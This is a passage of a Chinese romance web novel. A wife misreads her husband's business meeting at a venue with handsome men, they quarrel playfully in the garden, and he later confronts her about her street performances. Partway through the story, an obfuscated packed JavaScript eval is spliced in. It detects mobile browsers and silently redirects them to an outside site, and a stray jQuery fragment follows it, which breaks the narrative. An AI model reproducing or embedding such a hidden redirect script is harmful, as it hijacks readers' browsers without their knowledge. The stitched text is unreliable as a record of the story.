还一口气“吃”这么多!
青朵揉了揉眼睛,不敢相信眼前看到的一切,环绕他身边那一圈美男幻化成一柄巨刃,把她的心剁碎,做成一盘鸡刨豆腐,咸滋滋。乱糟糟,团不成个头。
曾正卿似是感受到他们的目光,转头与她视线相对。目光交织的那一刹那,他猛地怔住,随后与身侧那人低语两句,拱手道别,大步流星朝他们走来。
青朵与朱熠不约而同后退一步,一副生怕沾上不洁的样子。
曾正卿:“……”
“你们怎么在一起?”曾正卿扫过三人,问道。
“这个不重要,”青朵直勾勾盯着他,“倒是你,为什么和漂亮小哥哥们在一起?”
“大哥可是恰谈生意?”曾正己忍不住替兄长说话。
曾正卿点头道:“正是,他邀我同去,我也是到了才知这处所在。”
朱熠兀自不信,反问:“只是谈生意?”
曾正卿不悦:“你当我是什么人?”继而转过头来,发现青朵也是一脸半信半疑的神色。他重重地叹了一口气。
自己最近真是时运不济,先是被夫人疑作房中无能,后又被人误会有龙阳之癖。纵使荷花出淤泥而不染,也躲不过“淤泥”蒙了世人的眼。
他瞥眼朱熠,欲言又止,此事还是私下慢慢与夫人解释吧。
*
曾家园中金桂花开,金黄的碎花攒成一团,细密地缀在叶片的缝隙中,撒下一路幽香。沿着荷花池一路行走,曾正卿兄弟二人走在前面,商量曾父忌日回老家拜祭的事宜,青朵跟在后面,只觉他们说话声像香气一样,吵得人心烦。
她故意顿住脚步,可曾正卿只顾与弟弟商谈,他两人并肩而行,头也不回,更不用说发现青朵没跟上。
哼!我倒要看看,他什么时候能发现我不在!
青朵手臂交叉抱在胸前,一只脚伸出不耐烦地拍打地面,却看到那两道身影越走越远。
啊?青朵震惊地放下手臂,自己再不跟上,都要看不见他们的背影了,她忍不住追着他们跑了几步,可还是不甘心,四下看看,不经意瞥见地上一个小石块,眼睛一亮。她拾起石头放在正前方,倒退几步,然后一个助跑,抬腿飞射——
“啊!”曾正己小腿吃痛,呼出声来,他与曾正卿都下意识回头望去。
青朵没想到自己踢偏,吓了一跳,见两道目光望过来,她立即装成什么也不知的样子,左右瞧瞧,忽地指着水池里的荷叶:“好大的叶子!”
曾正己奇道:“大嫂,你何时往那儿去了?”
青朵没好气道:“我当然是停下来了,难道还是走过去,又跑过来?我又不是疯子,跑来跑去干什么!不过你也算机敏,还能发现我不见了。”
“不,我也是刚发……”
“毕竟还是发现了,”青朵打断他,顺带狠狠剜了曾正卿一眼,“有的人,只怕此时还没发现呢!”
曾正己默默地看了一眼“有的人”,不想与兄长目光相对,从他面上看出一丝尴尬。此地不宜久留,曾正己知趣地转身悄悄离开。
待正己走后,曾正卿见青朵盯着他,稍一思索,踌躇道:“夫人可还是因为那件事……”
“不,然,呢?”青朵一字一句道。
曾正卿叹了一口气,走到青朵身前,解释道:“我确是与陈老板商议商事,地点乃是他定的,他神神秘秘,说是要感谢我上次给他出的办法,直到随他到了地方,我方才知晓。”
“嗯嗯嗯,”青朵用力点头,冷笑道,“是这样的,我爹当年也是这么说的,什么老朋友相邀,全是不得已,最后呢?一次变成两次,两次变成两个月,两个月变成半年,喏,怎么着?与珠姨住一起了!”
“这世上总要女人从一而终,男子却可妻妾成群,在我这儿可不行!”青朵决然道,“若我喜欢多人,你也可以喜欢多个,若我只你一个,你也只能守我一个。我们之间,不可以有不公平的事!我容不下你身边有别的女人,男人更不行!”
“我有了你,哪还需要旁人?”曾正卿无奈叹道,“你当真是误会我了!”
他想牵青朵的手,青朵背着手不肯:“什么误会,你倒是说清楚!”
曾正卿没法,连连叹气道:“夫人,我是被你害惨了!”
“我?”青朵疑惑地指着自己。
“你头回唱快板那日,我和陈老板就在对街茶馆的二楼,将你们的表演看个一清二楚。”
曾正卿幽幽道:“你可记得,当时你是什么打扮?”
青朵皱着眉回想,随口答道:“小厮的装束啊!露浓姐说我是曾家夫人,不好太显眼,朱大哥就帮我想了新身份,怎么了?”
曾正卿神色不自然,低声道:“或许是那日我看你的样子,太过‘情不自禁’,陈老板未曾留意你是女子,竟误以为我有断袖之癖,今日特意招待我去那种地方……”
青朵听了目瞪口呆,瞬间爆发一阵笑声,“哎哟,哎哟,笑死我啦!你……你……哈哈哈哈!你,那你怎么,怎么发现的?”
“我怎么会知道!”曾正卿怫然道,“我还以为是陈老板的特殊癖好,只能作陪!”
青朵笑弯了腰,她捧着肚子笑得上气不接下气:“哈哈哈,你,你,哈哈,然,然后呢?”
“陈老板见我兴致阑珊,对他们避如蛇蝎,误以为我只钟情于固定的款,”曾正卿幽怨地瞧着她,青朵闻言抬头,笑出的泪水挂在睫毛上,她正想问陈老板以为他喜欢什么类型,就听他咬牙切齿道:“就命人着当日那款小厮衣衫,进来伺候我!”
“咚!”曾正卿一惊,忙伸手去扶,可青朵已经一屁股坐在地上,笑成一团,一手按着肚子,另一只手使劲儿拍打地面,笑到最后竟剧烈咳嗽起来,肩头剧烈起伏。
曾正卿本就发窘,青朵的笑更让他浑身不适,可见她咳嗽,只能无奈地蹲下身子轻抚她的背,好不容易令她平稳呼吸,可她一抬头看到自己的脸,“扑哧”一声又大笑起来。
他下不来台,狼狈道:“夫人!”
“哦,可怜的小卿!”青朵捧着他的脸,肆意揉捏,笑哈哈道,“一天被人冤枉两次,你太惨了吧!哈哈哈!”
曾正卿看着她幸灾乐祸的笑脸,慢条斯理道:“说到底,此事因你而起,你说,该不该补偿我?”
笑声戛然而止,青朵眼睛瞪得圆溜溜:“什么补偿?”她后知后觉地想起一事,马上捂住嘴巴,闷声闷气道:“难道你想‘二亲’?”
“夫人想,我可不想。”青朵刚想反驳他自己并不想,突然被他抱起,听他说道,“只有夫人也出丑,方能解我心头之恨!”
“我要把你扔到水里去!”
说着,他就抱着自己晃荡起来,作势要把自己扔出去,口中还喊着:“一!二!”
青朵吓得大喊大叫:“我不笑了不笑了!放我下来!放我下来!”曾正卿完全不理她,“三”一喊出口,青朵只觉得自己的身体朝水池荡过去,她紧紧搂着他的脖子放声尖叫:“不要!不要!啊——”
咦?
没有“扑通”声。
青朵悄悄睁开一只眼,看看身侧没有水,松了一口气,睁开另一只眼,对上曾正卿似笑非笑的神色。
他又故意吓唬她!
她恼羞成怒,狠狠地捶了他肩膀一拳:“曾正卿!”
他皱起眉头,呼道:“好痛!抱不住了!”
“啊?”青朵瞬间感受到他抱着自己的手松开,吓得再次抱住他,腿顺势盘在他身上,化成青藤,死死缠住他身子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15856651|167080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到他的闷笑,她愣了一会儿,扭过头瞧瞧,才见他的手掌虚虚环在身下,虽未着力,但她断无跌落的可能,又是变着法儿逗她玩呢!
耳畔传来他爽朗的笑声,青朵更是气恼,胡乱捶了几下泄愤,气急败坏宣誓:“我唐青朵再信你,我就是小狗!”
*
翌日青朵学画归家,一路上想代替唱快板的法子,想到头痛,也没有结果,却在自己的桌上看到更令她心烦的东西。
“《女诫》?”
这东西怎么会出现在她的桌上?
芳晴进屋见她拿着书发呆,说道:“这是少爷派人送来的,让少夫人好好读一读。”
青朵一拍脑袋,她想起来了!之前她装大家闺秀的时候,有天卿卿说这本书与她秉性相合,后来书没送来,卿卿也没再提这事,她早忘到脑后了。
同样被自己忘在脑后的,就是继续装扮“贤良淑德”,她蓦地一阵心虚,卿卿好久不提此事,现在却突然送书过来,难道是在暗示自己,前后不一致?
她二话不说,拉开椅子,坐在桌前,“虔诚”拜读,但此文实在与自己秉性相冲,什么“晚寝早作”,自己懒得很,是万万不可能“早作”;什么“女以弱为美”“生女如鼠,犹恐其虎”,她当然要当“老虎”,“老鼠”可是要被人人喊打的;更让她反感的还有“夫者,天也。天固不可逃,夫固不可离”……
青朵把书“啪”地一声扔在一旁,烦躁道:“屁言屁语,熏得头晕!”她站起身,背着手在屋来回转圈,心烦意乱。
她是无法交差了,还不如实话实说,告诉卿卿自己根本不是什么淑女,是他想错了!他若是因此觉得受骗难过,大不了自己补偿他好了!不过就是“二亲三亲四亲五亲”,反正“一”都“一”了,也不怕什么“二三四五”!
想到这,她感到脸发烫,连忙用手捂住。最近怎么回事!明明人家都没有提出,倒是自己总是想到亲啊亲的!
坏朵!
她拼命晃头,用这种方式将“亲”的想法甩出去,别说还真有效,她踉跄一下扶住椅子,头晕乎乎的,确实无暇想其他的事。
嗯,还是画画吧!爹布置的任务还没完成,画完还能卖掉赚一百五,还有什么比钱更重要!
还是有比钱更重要的事,她一边晕染仕女的脸颊,一边忍不住又开始想大肆宣扬赛林甫丑事的办法。她咽不下这口气是一说,想到那日事后找到他们的女子,原来除了卿卿签下的,还有那么多人上当受骗,倘若自己能让更多人知道赛林甫的真面目,说不定日后就不会再有受害者。
对了,她停笔抬头,昨天忘了跟卿卿说那女子的事,正想着,外面传来脚步声,听到芳晴唤“少爷”,连忙搁下笔起身迎上去。
“我正要和你商量一件事,你就回来了,真是心有灵犀!”青朵欢笑着跑到他面前,却是一怔,曾正卿一脸凝重看着她。
青朵从未见过他的“严肃”,眨眨眼开口问道:“你,你怎么啦?怎么不高兴?”
他不答,反而质问道:“我问你,你昨天又去唱快板了?”
青朵愣了愣,想起他嘱咐自己不要再去,可自己没听他的,原来他是因为这事生气,不由得作贼心虚,小声道:“嗯……”但马上伸出一根手指,大声解释:“我就最后去这么一次,反正效果也不好,我打算……”
“不是叫你不可再去!”曾正卿斥道。
青朵冷不防被吓得浑身一颤,手指还僵在半空,只怔怔地望向他。
卿卿……骂我?
刹那间,她脑袋一片空白,什么辩解的话都吐不出来。
他厉声道:“竟然还四处宣扬我签了那些人!哪有此事?你是嫌我的麻烦不够多吗?”
“唐青朵!你太任性了!”